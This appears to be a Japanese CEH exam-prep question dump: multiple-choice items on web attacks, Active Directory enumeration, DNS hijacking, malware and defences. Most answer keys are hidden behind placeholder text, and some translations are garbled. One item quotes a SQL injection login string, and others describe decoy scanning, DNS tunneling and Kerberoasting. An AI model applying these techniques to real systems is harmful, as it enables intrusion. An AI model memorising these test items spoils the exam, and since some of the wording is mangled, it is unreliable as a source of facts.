認定倫理的ハッカー (CEH) が、ある企業の Web サーバーに対する最近の攻撃を調査しています。このサーバーは複数のドメインをホストしており、匿名性を維持し、IP ブロックを防ぐために Web プロキシを使用しています。CEH は、重要な HTML ファイルを格納するサーバーのドキュメント ルート ディレクトリが「certroot」という名前で、/admin/web ディレクトリに格納されていることを発見しました。サーバーの構成ファイル、エラー ファイル、実行可能ファイル、ログ ファイルを格納するサーバー ルートも特定されています。CEH はまた、サーバーが追加のストレージとして仮想ドキュメント ツリーを使用していることも確認しました。サーバーは、攻撃者がターゲットの Web サーバーに向けられたすべてのリクエストを自身の悪意のあるサーバーにリダイレクトする DNS サーバー ハイジャック攻撃によって侵害されました。このシナリオを考慮すると、今後このような攻撃を防ぐ可能性が最も高いのは次のどの対策でしょうか。
A. LAMPなどのオープンソースWebサーバーアーキテクチャを実装する
B. サーバーソフトウェアの定期的なアップデートとパッチ適用
C. サーバーのIPアドレスを定期的に変更する
D. DNSサーバー上でのDNSSECの実装
正解: **(**正解を表示します**)**
DNSSEC protects DNS records with cryptographic signatures, ensuring the authenticity and integrity of DNS responses and preventing attackers from redirecting traffic through DNS hijacking or spoofing attacks.

質問: **128**
権限を与えられた侵入テスト担当者がWindowsドメインワークステーションにアクセスし、Active Directoryの列挙を開始します。目的は、ドメインオブジェクトを変更したり、不要な認証イベントを発生させたりすることなく、ユーザー、コンピューター、グループ、組織単位を特定することです。この目的を最もよく達成できるアプローチはどれですか？
A. ドメインコントローラに対してオフラインパスワードクラッキング攻撃を実行します。
B. 読み取り専用のディレクトリ操作を使用して、LDAP で Active Directory を照会します。
C. グループポリシーを無効にして列挙を簡素化します。
D. すべてのドメインアカウントに対してKerberosチケットの更新を強制します。
正解: **B (**コメントを発表する**)**
LDAP provides a standard mechanism for querying Active Directory. Read-only LDAP enumeration allows testers to collect information about users, groups, computers, and policies without altering directory objects. This approach is efficient and generates far less impact than attempting authentication attacks or modifying domain configurations.

質問: **129**
Linuxサーバーに、誰でも書き込み可能なcronディレクトリが存在する場合、攻撃者はどのようなことを実現できるでしょうか？
A. DoS
B. SQLインジェクション
C. XSS
D. 持続性
正解: **(**正解を表示します**)**

World-writable cron directories allow attackers to place malicious scheduled tasks that execute automatically, enabling persistent access or recurring malicious activity on the system.

質問: **130**
システムアナリストは、安全な鍵配布を可能にする暗号化ソリューションを実装したいと考えている。
アナリストはどの暗号化方式を検討すべきでしょうか？
A. 非対称暗号化
B. ハッシュ関数
C. ディスク暗号化
D. 対称暗号化
正解: **A (**コメントを発表する**)**
Asymmetric encryption uses a public-private key pair, allowing secure key distribution by sharing the public key openly while keeping the private key confidential, eliminating the need for a secure channel to exchange secret keys.

質問: **131**
プロのハッカーであるボニーは、金銭的利益を目的として組織を標的にしています。彼は中間者攻撃(MITM攻撃)の手法を用いてセッションIDを送信することで攻撃を実行します。ボニーはまずサービスにログインして有効なセッションIDを取得し、その後、同じセッションIDを標的の従業員に渡します。このセッションIDは、被害者に情報を開示することなく、標的の従業員をボニーのアカウントページにリンクします。標的の従業員がそのリンクをクリックすると、フォームに入力されたすべての機密性の高い支払い情報がボニーのアカウントにリンクされます。上記のシナリオでボニーが実行した攻撃とは何でしょうか？
A. 攻撃禁止
B. セッション固定攻撃
C. CRIME攻撃
D. セッション寄付攻撃
正解: **B (**コメントを発表する**)**

質問: **132**
あなたは侵入テスト担当者で、特定のサーバーに対してスキャンを実行しようとしています。クライアントと締結した契約書には、スキャンに関する以下の特定の条件が記載されています。「攻撃者は、偽装した送信元IPアドレスのセットを使用して、サーバー上のすべてのポートを複数回スキャンしなければならない。」このスキャンを実行するためにNmapを使用するとします。この要件を満たすには、どのフラグを使用しますか？
A. -Dフラグ
B. -Aフラグ
C. -gフラグ
D. -fフラグ
正解: **(**正解を表示します**)**

質問: **133**

高度なデジタルセキュリティシナリオにおいて、多国籍企業が、業務の中断、データ整合性の改ざん、深刻な経済的損害を引き起こすことを目的とした複雑な一連の攻撃の標的となっています。CEHおよびCISSP認定資格を持つ主任サイバーセキュリティアナリストとして、あなたは以下の指標に基づいて、攻撃の種類を正確に特定する責任を負います。
この攻撃は、標的システムのハードウェアの脆弱性を悪用し、プログラムの制御フローにおける将来の命令の予測ミスを引き起こします。攻撃者は、予測ミスがなければ実行されなかったはずの命令シーケンスを、意図的に標的プロセスに投機的に実行させ、微妙な副作用を引き起こします。共有状態から観測可能なこれらの副作用は、実行中のデータの値を推測するために利用されます。
この状況を最もよく表す攻撃の種類は何ですか？
A. サイドチャネル攻撃
B. ロウハンマーアタック
C. 権限昇格攻撃
D. 水飲み場攻撃
正解: **A (**コメントを発表する**)**

質問: **134**
システム管理者は、ネットワーク上の複数のマシンが、未知のIPアドレスに繰り返しトラフィックを送信していることに気づきました。調査の結果、これらのマシンは組織的なスパムキャンペーンの一部であることが判明しました。最も可能性の高い原因は何でしょうか？
A. キーロガーがユーザー認証情報を収集していました
B. デバイスがボットネットネットワークに組み込まれた
C. ワームがゼロデイ脆弱性を悪用
D. ブラウザがアドウェアが仕込まれたサイトにリダイレクトされました
正解: **(**正解を表示します**)**
Machines participating in coordinated outbound traffic to unknown IP addresses for activities like spam distribution are characteristic of botnet infections, where compromised devices are remotely controlled as part of a larger malicious network.

質問: **135**
フェイスブックのフィードを閲覧していると、友人の一人が投稿した写真に次のようなキャプションが付いているのを目にした。
 友達のことをもっと知ろう！」というメッセージと、いくつかの個人的な質問が投稿されました。マットは不審に思い、友人にメッセージを送ると、友人は確かに自分が投稿したことを確認しました。投稿が本物だと確信したマットは、投稿された質問に答えました。数日後、マットの銀行口座にアクセスされ、パスワードが変更されていました。何が起こった可能性が最も高いでしょうか？
A. マットは投稿に返信する際に、誤ってパスワードを公開してしまいました。
B. マットの銀行口座のログイン情報は総当たり攻撃によって盗まれました。
C. マットは投稿に返信した際に、うっかりセキュリティ質問への回答を漏らしてしまいました。
D. マットのコンピューターはキーロガーに感染していました。
正解: **(**正解を表示します**)**

質問: **136**
SQLインジェクションの脆弱性についてアプリケーションをテストするとします。バックエンドデータベースがMicrosoft SQL Serverに基づいていることがわかっています。ログイン/パスワードフォームに、次の認証情報を入力します。

```
Username: attack' or 1=1 –
Password: 123456
```

上記の認証情報に基づいて、実際にSQLインジェクションの脆弱性が存在する場合、サーバーによって実行されると予想されるSQLコマンドは次のうちどれですか？
A. SELECT * FROM Users WHERE UserName = 'attack or 1=1 -- AND UserPassword = '123456'
B. SELECT * FROM Users WHERE UserName = 'attack' OR 1=1 --' AND UserPassword = '123456'
C. SELECT * FROM Users WHERE UserName = 'attack' OR 1=1 -- AND UserPassword = '123456'
D. SELECT * FROM Users WHERE UserName = 'attack' ' OR 1=1 -- AND UserPassword = '123456'
正解: (正解を表示します)

質問: **137**
この攻撃では、攻撃者は被害者を騙して、既に使用されている鍵を再インストールさせます。これは、暗号化ハンドシェイクメッセージを操作して再生することで実現されます。被害者が鍵を再インストールすると、増分送信パケット番号や受信パケット番号などの関連パラメータが初期値にリセットされます。この攻撃は何と呼ばれますか？
A. チョップチョップ攻撃
B. 邪悪な双子
C. クラック
D. ワードライビング
正解: (正解を表示します)

質問: **138**
バージニア州リッチモンドにあるDominion Energy Analytics社で行われたレッドチームシミュレーションにおいて、評価担当者が既知のアプリケーションの脆弱性を悪用するように設計された埋め込みコードを含む悪意のある文書を作成した。この文書を標的の従業員に送信した後、ファイルが開かれると埋め込みコードが正

常に実行される。コードの実行が成功すると、侵害されたワークステーションは直ちにレッドチームが制御するリモートシステムへの外部接続を開始し、指示の発信やデータの交換が可能になる。
サイバーキルチェーンの手法において、この遠隔通信チャネルの確立はどの段階に相当しますか？
A. 目標達成に向けた行動
B. 指揮統制
C. インストール
D. 搾取
正解: **(**正解を表示します**)**
The establishment of a remote communication channel after successful code execution corresponds to the Command and Control stage in the Cyber Kill Chain. This phase involves the compromised system connecting to an external controller so that the attacker can issue instructions and maintain interaction with the victim environment.

質問: **139**
プロのハッカーであるジョンは、標的ネットワーク上でデータ漏洩を実行するためにDNSを利用することにした。
この過程で、彼はDNSSECでも検出できない悪意のあるデータをDNSプロトコルパケットに埋め込みました。この手法を用いて、ジョンはファイアウォールを迂回するマルウェアの注入に成功し、被害者マシンとC&Cサーバーとの通信を維持しました。ジョンがファイアウォールを迂回するために用いた手法は何ですか？
A. DNS列挙
B. DNSキャッシュスヌーピング
C. DNSSECゾーンウォーキング
D. DNSトンネル方式
正解: **(**正解を表示します**)**

質問: **140**
テキサス州オースティンにある中規模大学で行われた緊迫したレッドチーム演習で、ジェイクという名の倫理的ハッカーが工学部の旧式Linuxサーバーを標的にした。ある日の午後遅く、ポートスキャン中にTCPポート2049が開いていることを発見し、隠されたファイル共有機能が存在する可能性を示唆した。興味をそそられたジェイクは、標準的なユーティリティを使用してネットワーク上で共有されているリモートファイルシステムの一覧を要求し、アクセス可能なリソースのマッピングを試みた。その一方で、彼は何気なくTelnetアクセスを確認したり、ルーチン外の時刻同期サービスをプローブしたりしたが、どちらもこのホストでは成果が得られなかった。
このシナリオでは、どの列挙方法が実際に使用されていますか？
A. NFS列挙
B. SNMP列挙
C. NetBIOS列挙
D. NTP列挙
正解: **(**正解を表示します**)**

TCP port 2049 is associated with NFS services. Querying shared file systems to list available network shares is characteristic of NFS enumeration, which is used to identify accessible remote file resources.

質問: **141**
ジョージア州アトランタにある金融テクノロジー企業が、複数の従業員からAndroid端末で人気のメッセージングアプリが過剰な広告を表示し、予期せぬ動作をするようになったとの報告を受け、社内調査を開始した。セキュリティアナリストは、ユーザーが数週間前にサードパーティのマーケットプレイスからユーティリティアプリをインストールしていたことを突き止めた。さらに調査を進めた結果、このアプリが端末に既にインストールされていた正規アプリの一部を密かに置き換えていたことが判明した。その後、改ざんされたアプリは大量の広告を生成し、外部送信のためにユーザーデータを収集するために利用された。観測された動作に基づくと、この事件に最も合致するマルウェアはどれか？
A. マモント
B. ペガサス
C. エージェント・スミス
D. ゴールドピッケル
正解: **(**正解を表示します**)**
The malware replaces legitimate applications on Android devices and then uses them to generate ads and exfiltrate data, which is characteristic behavior of Agent Smith malware.

質問: **142**
サンドボックス回避とは何ですか？
A. マルウェアが隠れている
B. ファイアウォールバイパス
C. 暗号化
D. IDSバイパス
正解: **(**正解を表示します**)**
Sandbox evasion refers to techniques used by malware to detect when it is running inside a sandbox or analysis environment and then hide or alter its malicious behavior to avoid detection and analysis.

質問: **143**
大学の研究ネットワークに対する受動的な偵察活動の一環として、.edu ドメイン全体にわたる潜在的な管理上の脆弱性をマッピングするよう依頼されました。公開されているインデックス情報のみを使用して、設定ミスのあるインターフェースなど、特権的なバックエンドアクセスを許容する可能性のあるページを特定することが目的です。効率性とコンプライアンスを確保するため、Google の高度な検索構文を使用することにしました。目標は、制限されたバックエンド機能が含まれている可能性のある教育ドメイン全体の URL を特定することです。この目標を最も効果的にサポートする検索文字列は次のうちどれですか？
A. site:.edu filetype:pdf intitle:"admin"
B. intitle:"admin login" site:.edu
C. site:.edu inurl:admin
D. inanchor:"backend access" site:.edu

正解: **C** (コメントを発表する)
The objective is to identify URLs that directly expose administrative paths across .edu domains.
Using a query that filters for "admin" in the URL is the most effective way to locate potential backend interfaces or misconfigured admin endpoints indexed by search engines.

質問: **144**
列挙フェーズでは、ローレンスはバナーグラビングを実行して、OSの詳細や実行中のサービスのバージョンなどの情報を取得します。彼が列挙したサービスは、TCPポート445で直接実行されます。このシナリオでローレンスが列挙するサービスは次のうちどれですか？
A. サーバーメッセージブロック (SMB)
B. ネットワークファイルシステム(NFS)
C. リモートプロシージャコール (RPC)
D. Telnet
正解: (正解を表示します)

質問: **145**
認定倫理的ハッカーであるあなたは、大手テクノロジー企業から、同社のWebアプリケーションの脆弱性をテストする依頼を受けました。このアプリケーションは、様々なサードパーティサービスを統合し、複数のAPIを使用しています。高度なテスト中に、複数のWebhookと連携するように設計された、特に堅牢なWeb APIを発見しました。さらに、サーバーには正規の管理タスクを実行するためのWebシェルが仕込まれていることも判明しました。あなたの目標は、Web API、Webhook、およびWebシェルに関連する脆弱性を悪用することです。痕跡を最小限に抑えつつ、システムを効果的に侵害するには、どのような手法が最適でしょうか？
A. 通常の管理タスクを装った悪意のあるスクリプトをアップロードすることで、ウェブシェルを悪用します。
B. Webhook を操作して、アプリケーションとサードパーティ サービス間で意図しないデータ転送をトリガーします。
C. Web API 上で安全でない直接オブジェクト参照 (IDOR) を実行して、許可されていないリソースにアクセスします。
D. SSRF(サーバーサイドリクエストフォージェリ)を利用して、サーバー自身から不正なAPI呼び出しを行います。
正解: **D** (コメントを発表する)
Server-side request forgery allows the attacker to leverage the trusted server itself to make unauthorized internal or external API calls, bypassing perimeter controls and authentication while generating traffic that appears legitimate, resulting in minimal forensic traces.

質問: **146**
Linuxシステムでは、複数のコマンドに対してパスワードなしでsudoコマンドを実行できます。これはどのようなセキュリティ原則に違反しているのでしょうか？
A. ゼロトラスト
B. 多層防御
C. CIA

D. 最も恵まれない人々
正解: **D** (コメントを発表する)
Granting passwordless sudo access to multiple commands provides excessive privileges beyond what is minimally required, violating the principle of least privilege.

質問: **147**
あなたは、データストレージソリューションを専門とするテクノロジー企業、AlphaTechの最高セキュリティ責任者です。あなたの会社は、ユーザーが個人ファイルを保存できる新しいクラウドストレージプラットフォームを開発しています。データセキュリティを確保するため、開発チームは保存データに共通鍵暗号化を使用することを提案しています。しかし、共通鍵を安全に管理し、ユーザーに配布する方法が分からずにいます。以下の戦略のうち、どれを彼らに推奨しますか？
A. デジタル署名を使用して共通鍵を暗号化します。
B. ハッシュ関数を使用してキーを分散します。
C. 安全な鍵交換のためにDiffie-Hellmanプロトコルを実装します。
D. 安全な鍵転送のためにHTTPSプロトコルを使用します。
正解: (正解を表示します)

質問: **148**
侵害された管理者アカウントを使用してログ記録サービスを無効化しました。攻撃者は何を企んでいるのでしょうか？
A. 反鑑識
B. 漏出
C. 偵察
D. 特権の拡大
正解: (正解を表示します)
Disabling logging services is an anti-forensics technique used to prevent security monitoring and hinder investigation by removing or avoiding evidence of malicious activity.

質問: **149**
RedCore Motors社では、ITセキュリティ責任者のPriya氏が、拡大を続けるハイブリッドインフラストラクチャ向けの脆弱性管理ソリューションの選定を任されています。評価にあたっては、エンドポイント全体にわたるエージェントベースの検知機能、常時監視とアラート機能、オンプレミスとクラウドベースのシステムの両方に対する包括的な可視性を提供するツールを優先的に選定しました。徹底的なテストを経て、彼女はあらゆる場所の脆弱性を正確かつ効率的にスキャンできるプラットフォームを選択しました。これは、組織が求める一元的な可視性とリアルタイムのリスク評価のニーズに合致しています。
Priya が選択した可能性が最も高い脆弱性評価ツールはどれですか?
A. ネッスス
B. ニクト
C. Qualys VM
D. OpenVAS

正解: **C** (コメントを発表する)
The requirements include agent-based scanning, continuous monitoring, real-time alerting, and unified visibility across on-premises and cloud environments. Qualys VM provides a cloud-based platform with agent support and continuous assessment capabilities, making it well-suited for hybrid infrastructures requiring centralized and real-time vulnerability management.

質問: **150**
ノースカロライナ州ローリーにあるヘルステック系スタートアップ企業は、患者向けマイクロサービスをサポートするKubernetesクラスターを運用している。承認されたセキュリティ評価において、認定倫理的ハッカーが、運用担当者が閲覧可能な内部クラスター活動記録を検証する。
これらの記録を分析する中で、テスターはサービスアカウントに関連付けられた認証情報がシステム生成出力内に記録されていることに気づいた。テスターは、もし個人がこれらの記録にアクセスした場合、取得した認証情報を再利用して、同じ権限でクラスタリソースとやり取りできる可能性があると判断した。
この状況に最もよく該当するKubernetesの脆弱性はどれですか？
A. 証明書の失効はありません
B. 認証されていないHTTPS接続
C. 否認禁止条項なし
D. ログにベアラートークンが記録されている
正解: **D** (コメントを発表する)
The scenario describes authentication artifacts (service account credentials) being recorded in system logs, which could be reused to access cluster resources with the same privileges. This directly corresponds to exposed bearer tokens in logs, where sensitive authentication tokens are inadvertently stored in readable output, creating a risk of token reuse and unauthorized access.

質問: **151**
シンガポールのクラウドサービスプロバイダーは、ホストされているアプリケーションに対する大規模なサービス拒否攻撃を特定するため、防御監視戦略を改良している。セキュリティエンジニアリングチームは、受信トラフィックストリームを継続的に評価し、正常な動作が異常な動作に変化する正確なタイミングを統計的に判断する検出メカニズムを求めている。
チームは、静的な基準値や過去の比較だけに頼るのではなく、トラフィック指標における構造的な変化をリアルタイムで特定することで、急激な変化を検出するアプローチを好む。
この要件に最も適したDDoS攻撃検知技術はどれですか？
A. 連続変化点検出
B. ウェーブレットに基づく信号解析
C. 交通パターン分析
D. アクティビティプロファイリング
正解: (正解を表示します)
Sequential Change-Point Detection is designed to analyze streaming data in real time and identify the exact point where statistical properties of traffic change significantly. This makes it well-suited for detecting sudden

shifts from normal to attack behavior in DDoS scenarios without relying solely on fixed baselines or historical averaging.

質問: **152**
ある組織は、重要なインフラストラクチャの運用を遠隔地から自動化しました。このため、すべての産業制御システムがインターネットに接続されています。製造プロセスを強化し、産業ネットワークの信頼性を確保し、ダウンタイムとサービスの中断を削減するために、この組織は、サイバースパイ、ゼロデイ攻撃、マルウェアなどのセキュリティインシデントからさらに保護するOTセキュリティツールを導入することにしました。この組織は、重要なインフラストラクチャを保護するために、次のうちどのツールを採用する必要がありますか？
A. Flowmon
B. ロボティウム
C. BalenaCloud
D. インテントファザー
正解: **A** (コメントを発表する)

質問: **153**
悪意のあるユーザーが、Kerberoasting攻撃において、正規ユーザーのチケット付与チケット(TGS)を利用してドメインコントローラからチケット付与サービス(TGS)を取得しました。攻撃者はメモリからTGSチケットを抽出し、オフラインでクラッキングを試みましたが、攻撃を完了する前に阻止されました。
システム管理者は、潜在的な侵害を調査し、修復する必要があります。システム管理者が直ちに取るべき措置は何でしょうか？
A. システムを再起動してメモリをクリアしてください
B. STを暗号化するために使用されるNTLMパスワードハッシュを変更します
C. 攻撃者が取得したTGSを無効にする
D. 侵害されたユーザーのアカウントを削除する
正解: (正解を表示します)

質問: **154**
ビルは大手クレジットカード会社に侵入テスト担当者兼サイバーセキュリティ監査担当者として採用されました。彼の役割に最も適した情報セキュリティ基準はどれでしょうか？
A. ハイテック

B. FISMA
C. サーベンス ･オクスリー法
D. PCI-DSS
正解: **D** (コメントを発表する)

質問: **155**
オースティンにあるApex Technologies社で行われたレッドチーム評価において、倫理的ハッカーのライアンは、従業員が電話で機密情報を漏洩するように騙される可能性があるかどうかを検証した。彼は支払い詳細を要求するベンダーを装い、複数の従業員に連絡を取った。セキュリティチームは、防御策を評価するために、一般的なトレーニングに加えて、従業員がこのような電話に騙されないように、あらゆるやり取りにおいて実践すべき具体的な手順があることを強調した。Apex Technologies社は、このようなソーシャルエンジニアリングの試みを直接的に防ぐために、どの対策を優先すべきだろうか？
A. セキュリティ意識向上プログラムを実施する
B. 二段階認証を使用する
C. 従業員は情報提供を求める個人の身元を確認しなければならない
D. 方針と手順を確立する
正解: (正解を表示します)
Verifying the identity of anyone requesting sensitive information ensures that employees do not divulge data to untrusted callers, directly mitigating this type of phone-based social engineering attack.

質問: **156**
高度な持続的脅威(APT)の挙動を示す兆候は何ですか？
A. 長時間の滞留時間
B. マルウェアスパム
C. 一度限りのエクスプロイト
D. 力ずく
正解: (正解を表示します)
Advanced persistent threats are characterized by attackers maintaining unauthorized access to a target environment for an extended period. Long dwell time indicates stealthy, ongoing activity focused on persistence, surveillance, and long-term objectives.

質問: **157**
シリコンバレーにあるTechTrend Innovations社で、ネットワーク管理者のジェイク ･ヘンダーソンは、同社のWebインフラストラクチャの構成を確認しています。Webサーバーの設定を調べているうちに、HTMLファイル、画像、クライアントサイドスクリプトなど、一般公開されているWebサイトコンテンツが格納されているディレクトリを特定しました。ジェイクは、権限設定が不適切だと機密ファイルが不正なユーザーに公開される可能性があるため、この領域が攻撃者の標的になりやすいと指摘しています。このシナリオでジェイクが分析しているWebサーバーコンポーネントはどれでしょうか？
A. アプリケーションサーバー
B. 仮想ドキュメントツリー

C. ドキュメントルート
D. HTTPサーバー(コア)
正解: **C (**コメントを発表する**)**
The directory containing the website's publicly accessible files, including HTML, images, and scripts, is the document root. This location is frequently targeted if permissions are misconfigured.

質問: **158**
セキュリティ評価ツールが、以下のパラメータを含むHTTPリクエストを傍受します。
id=25
パラメータを算術式に変更すると、アプリケーションの応答時間が変化するが、データベースエラーは表示されない。最も可能性の高いSQLインジェクションの手法はどれか？
A. エラーベースのSQLインジェクション
B. 時間ベースのブラインドSQLインジェクション
C. UNIONベースのSQLインジェクション
D. 帯域外SQLインジェクション
正解: **(**正解を表示します**)**
Time-based blind SQL injection relies on observing delays introduced by database functions rather than visible error messages or returned data. When application responses vary only in timing, testers infer whether injected conditions evaluate as true. Error-based and UNION-based methods require information disclosure that is unavailable in this scenario.

質問: **159**
あなたは、SecurePath Solutionsの倫理ハッカー、エマ・ロドリゲスです。ニューヨーク市の法律事務所、スターリング・アンド・アソシエイツのモバイルアプリケーションセキュリティテストを依頼されました。秘密裏に実施された評価において、あなたの目的は、事務所の顧客案件管理アプリの脆弱性を悪用しようとする攻撃者をシミュレートすることです。アプリはユーザーの認証情報をデバイス上に平文で保存しており、ルート化されたデバイスを用いて機密性の高い顧客ログイン情報を抽出できることを発見しました。この発見に基づき、アプリにはOWASP Top 10モバイルリスクのどれが該当するでしょうか？
A. 安全でない通信
B. 不適切な資格情報の使用
C. 不十分なプライバシー管理
D. 安全でないデータストレージ
正解: **D (**コメントを発表する**)**
Storing user credentials in plain text on the device exposes sensitive data to anyone with access to the device, especially on rooted systems. This directly reflects insecure data storage, where sensitive information is not properly protected at rest.

質問: **160**
高度なセキュリティ対策が施されたオンラインバンキング環境において、顧客からアカウントへの不正アクセスが報告されました。調査の結果、攻撃者が高度なセッションハイジャック技術を用いてユーザーセッション

を侵害し、不正取引を行っていることが判明しました。セキュリティチームは、さらなる不正アクセスを防止し、顧客アカウントを保護するための効果的な対策を実施する任務を負っています。
上記シナリオを考慮すると、シナリオベースの攻撃に類似した高度なセッションハイジャック手法のうち、セキュリティチームが効果的に検知 軽減することが最も困難であり、オンラインバンキング取引のセキュリティを侵害する可能性のあるものはどれでしょうか？
A. 保護されていないWi-Fiネットワーク上で暗号化されたセッショントークンを傍受するパッシブスニッフィング攻撃
B. HTTP Cookie内のセッション識別子を操作するセッション固定攻撃
C. ブラウザ内攻撃 (MitB) 悪意のあるブラウザ拡張機能をインストールしてユーザーセッションを傍受する
D. オンラインバンキングのウェブページに悪意のあるコードを挿入する、隠れたクロスサイトスクリプティング(XSS)攻撃
正解: **(**正解を表示します**)**
A Man-in-the-Browser attack operates within the user's browser after authentication, allowing attackers to intercept and manipulate session data and transactions in real time while remaining invisible to both users and server-side security controls, making it extremely difficult to detect and mitigate.

質問: **161**
内部評価中に、侵入テスト担当者は、侵害されたWindowsシステムからNTLMパスワードハッシュを含むハッシュダンプを入手しました。パスワードを効率的に解読するために、テスト担当者はhashcatツールを備えた高性能CPU環境を使用し、既知のハッシュアルゴリズムを用いて毎秒数百万のパスワード組み合わせを試行するように設定しました。この設定により、CPUベースのクラッキング方法と比較して、パスワードの復元に必要な時間が大幅に短縮されます。このシナリオでは、どの技術が最適化されているのでしょうか？
A. オフラインパスワード取得のためにSAMの内容をダンプする
B. NetBIOSを偽装してファイルサーバーになりすます
C. 付加記号を用いた辞書ルールの悪用
D. ハードウェアアクセラレーションを活用してクラッキング速度を向上させる
正解: **D (**コメントを発表する**)**
The tester is optimizing password cracking by leveraging hardware acceleration, allowing hashcat to process millions of hash computations per second and significantly reduce the time required to recover NTLM passwords compared to standard CPU-only methods.

質問: **162**
地域病院ネットワークは、内部ファイルサーバーへの不正アクセスが発覚したことを受け、インシデント対応を実施している。フォレンジック分析が進行中であるが、セキュリティエンジニアはシステムをシャットダウンすることなく、マウントされたパーティションに保存されている機密性の高い医療記録を直ちに保護する必要がある。
このソリューションは、256ビットAESを含む強力な暗号化をサポートし、既存のストレージボリューム内に暗号化コンテナを作成できる機能を提供し、継続的な調査中の可視性を低減するために、保護されたデータを標準的なボリューム内に隠蔽する機能を提供する必要があります。
これらの運用要件とセキュリティ要件を最も満たすディスク暗号化ツールを選択してください。

A. ファイルボールト
B. Rohosディスク暗号化
C. VeraCrypt
D. BitLockerドライブ暗号化
正解: **(**正解を表示します**)**
VeraCrypt supports strong encryption such as AES-256, allows creation of encrypted containers within existing volumes, and provides hidden volumes inside standard encrypted containers to conceal sensitive data. This combination enables both protection and plausible deniability while keeping the system operational during incident response.

質問: **163**
認定倫理的ハッカーであるあなたは、大手国際企業からクラウドベースのセキュリティフレームワークの評価と強化を依頼されました。この企業は最近、eコマースアプリケーションにサーバーレスコンピューティングアーキテクチャを導入し、スケーラビリティとコスト効率が大幅に向上しました。しかし、不正ユーザーがクラウドサービスのFaaS(Function-as-a-Service)コンポーネントを操作して悪意のあるコマンドを実行するという複雑な攻撃を受けました。調査の結果、この攻撃はサーバーレス関数の1つで使用されている安全性の低いサードパーティAPIから発生したことが判明しました。攻撃の複雑さを考慮すると、セキュリティ体制を強化するためにどのような対策を推奨しますか？
A. クラウドアクセスセキュリティブローカー(CASB)を使用して、サードパーティのクラウドサービスに対するセキュリティポリシーを適用します。
B. すべてのクラウド リソースを包括的に保護するクラウドネイティブ セキュリティ プラットフォーム (CNSP) を導入する。
C. サーバーレス機能を定期的に更新して脆弱性を修正し、攻撃対象領域を縮小します。
D. 機能レベルのアクセス許可モデルを実装し、最小権限の原則を強制します。
正解: **(**正解を表示します**)**
Enforcing a function-level permission model with the principle of least privilege limits what each serverless function can access and execute, preventing an insecure third-party API from being abused to run unauthorized commands and containing the blast radius of a compromise.

質問: **164**
プロのハッカーであるメイソンは、ある組織を標的にし、悪意のあるスクリプトを使ってEmotetマルウェアを拡散させました。被害者のデバイスに感染させた後、メイソンはEmotetを使ってローカルネットワーク全体、さらにはネットワーク外にも感染を広げ、できるだけ多くのマシンを侵害しようとしました。この過程で、彼は自己解凍型のRARファイルというツールを使って、書き込み可能な共有ドライブなどのネットワークリソースに関する情報を取得しました。上記のシナリオでメイソンが使用したツールは何でしょうか？
A. NetPass.exe
B. 認証情報列挙子
C. Outlookスクレイパー
D. WebBrowserPassView
正解: **B (**コメントを発表する**)**

質問: **165**
どのIPアドレス変換方式であれば、単一のパブリックIPアドレスが常に内部ネットワーク上の単一のマシンに対応し、 ₩サーバー公開」が可能になりますか？
A. 静的ネットワークアドレス変換
B. ポートアドレス変換のオーバーロード
C. 住所翻訳
D. ダイナミックネットワーク
E. 動的ポートアドレス変換
正解: **(**正解を表示します**)**
Static Network Address Translation creates a permanent one-to-one mapping between a public IP address and an internal host, which enables consistent external access for services such as server publishing.

質問: **166**
あなたは最近、成長中のテクノロジー系スタートアップ企業にサイバーセキュリティのインターンとして採用されました。入社オリエンテーションで、同社の最高情報セキュリティ責任者(CISO)から、あなたの役割の一環として注意すべき様々なタイプのハッカーについて説明を受けました。この説明の中で ₭スクリプトキディ」という言葉が出てきました。CEH v12の学習教材に基づいて、以下の説明のうち、スクリプトキディを最も適切に定義しているのはどれですか？
A. 独自の複雑なスクリプトを作成し、それを悪用して攻撃を実行するハッカー。
B. 既存のスクリプトやツールを使って攻撃を実行するが、それらの仕組みを完全に理解していないハッカー。
C. 倫理的ハッキングとサイバーセキュリティの基礎をまだ学んでいる若いハッカー。
D. JavaScriptや類似のスクリプト言語を使用するシステムのみを標的とするハッカー。
正解: **(**正解を表示します**)**
A script kiddie relies on pre-written scripts and automated tools created by others to perform attacks, typically without understanding the underlying techniques or mechanisms involved.

質問: **167**
モバイルインフラへの攻撃を受け、あるeコマース企業はモバイルセキュリティ戦略の見直しを進めている。攻撃者がモバイルアプリケーションへの部分的なルートアクセス権を取得した場合、次のうちどの対策がさらなる悪用を防ぐ上で最も効果的だろうか？
A. モバイルアプリケーションに対して定期的な脆弱性評価と侵入テストを実施する。

B. 開発段階で安全なコーディング手法と自動化されたコードレビュープロセスを活用する。
C. 中間者攻撃 (MITM) から保護するための証明書ピンニングの実装。
D. アクセス権限とユーザー権限を制御するためのモバイルアプリケーション管理ソリューションを導入する。
正解: **(**正解を表示します**)**
Certificate pinning ensures the mobile application only trusts specific server certificates, preventing attackers with partial root access from intercepting or manipulating traffic through man-in-the-middle techniques, thereby significantly limiting further exploitation paths.

質問: **168**
複数の保護対象システムからデータを収集し、ローカルでファイルを分析するのではなく、プロバイダの環境上でマルウェアを検出するアンチウイルスソフトウェアでは、どのような検出技術が用いられているのでしょうか？
A. ヒューリスティクスに基づく
B. ハニーポットベース
C. 行動ベース
D. クラウドベース
正解: **(**正解を表示します**)**
Cloud-based detection collects data from protected systems and performs malware analysis in the provider's cloud environment rather than relying solely on local endpoint analysis.

質問: **169**
XYZ Aerospaceのベテランセキュリティアナリストであるボブは、データアーカイブシステムの1つから発生した一連のトランザクションタイムスタンプのずれを調査していました。サーバーが不安定な時刻ソースと同期している可能性があると考えたボブは、問題が時刻同期のずれに起因するものかどうかを判断するために、遅延、オフセット、ジッターなどのメトリックを含む、対象マシンに関連付けられたすべてのピアサーバーの詳細なリストを抽出することにしました。ボブはこの情報を取得するために、次のうちどのコマンドを使用すべきでしょうか？
A. ntptrace [-n] [-m maxhosts] [servername/IP_address]
B. ntpq -p [host]
C. ntpdc [-ilnps] [-c command] [host] [...]
D. ntpq [-inp] [-c command] [host] [...]
正解: **(**正解を表示します**)**
The command displays a list of NTP peers along with detailed metrics such as delay, offset, and jitter. This information is specifically provided by querying the NTP daemon using the peer display option, making it suitable for diagnosing time synchronization issues.

質問: **170**

最近の侵害事件を受け、攻撃者が正規のシステムユーティリティとWindowsサービスを改変して数週間も検出されずに内部認証情報にアクセスしていたことが判明しました。今後同様の脅威からより効果的に保護するために、どのような重要な対策を講じるべきでしょうか？
A. すべてのシステムで最新のウイルス対策ソフトウェアとファイアウォールソフトウェアが実行されていることを確認してください。
B. 毎週バックアップを実施し、オフサイトに保管する。
